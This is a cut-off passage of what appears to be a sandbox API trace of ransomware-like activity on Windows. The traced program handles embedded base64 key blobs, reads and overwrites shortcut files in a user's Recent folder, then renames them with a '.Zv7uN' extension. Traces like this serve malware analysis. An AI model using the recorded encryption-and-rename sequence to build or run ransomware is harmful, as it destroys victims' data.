zN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.329] GetCurrentThreadId () returned 0xa30 [0079.329] GetCurrentThreadId () returned 0xa30 [0079.329] GetCurrentThreadId () returned 0xa30 [0079.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.331] GetCurrentThreadId () returned 0xa30 [0079.331] GetCurrentThreadId () returned 0xa30 [0079.331] GetCurrentThreadId () returned 0xa30 [0079.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2iheu7jjn.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.331] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.331] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.332] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x23e [0079.332] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.332] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x23e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x23e, lpOverlapped=0x0) returned 1 [0079.334] CloseHandle (hObject=0x124) returned 1 [0079.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2iheu7jjn.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.336] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x23e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x23e, lpOverlapped=0x0) returned 1 [0079.338] CloseHandle (hObject=0x124) returned 1 [0079.343] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2iheu7jjn.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2iheu7jjn.ots.lnk.zv7un")) returned 1 [0079.345] GetCurrentThreadId () returned 0xa30 [0079.345] GetCurrentThreadId () returned 0xa30 [0079.345] GetCurrentThreadId () returned 0xa30 [0079.345] GetCurrentThreadId () returned 0xa30 [0079.345] GetCurrentThreadId () returned 0xa30 [0079.345] GetCurrentThreadId () returned 0xa30 [0079.345] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d2c07e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d2c07e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d2c07e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14ed, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2opleEzWe0B wcg.mkv.lnk", cAlternateFileName="2OPLEE~1.LNK")) returned 1 [0079.345] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.345] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2opleezwe0b wcg.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d2c07e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d2c07e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d2c07e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14ed)) returned 1 [0079.346] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2opleezwe0b wcg.mkv.lnk")) returned 0x20 [0079.346] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk", dwFileAttributes=0x80) returned 1 [0079.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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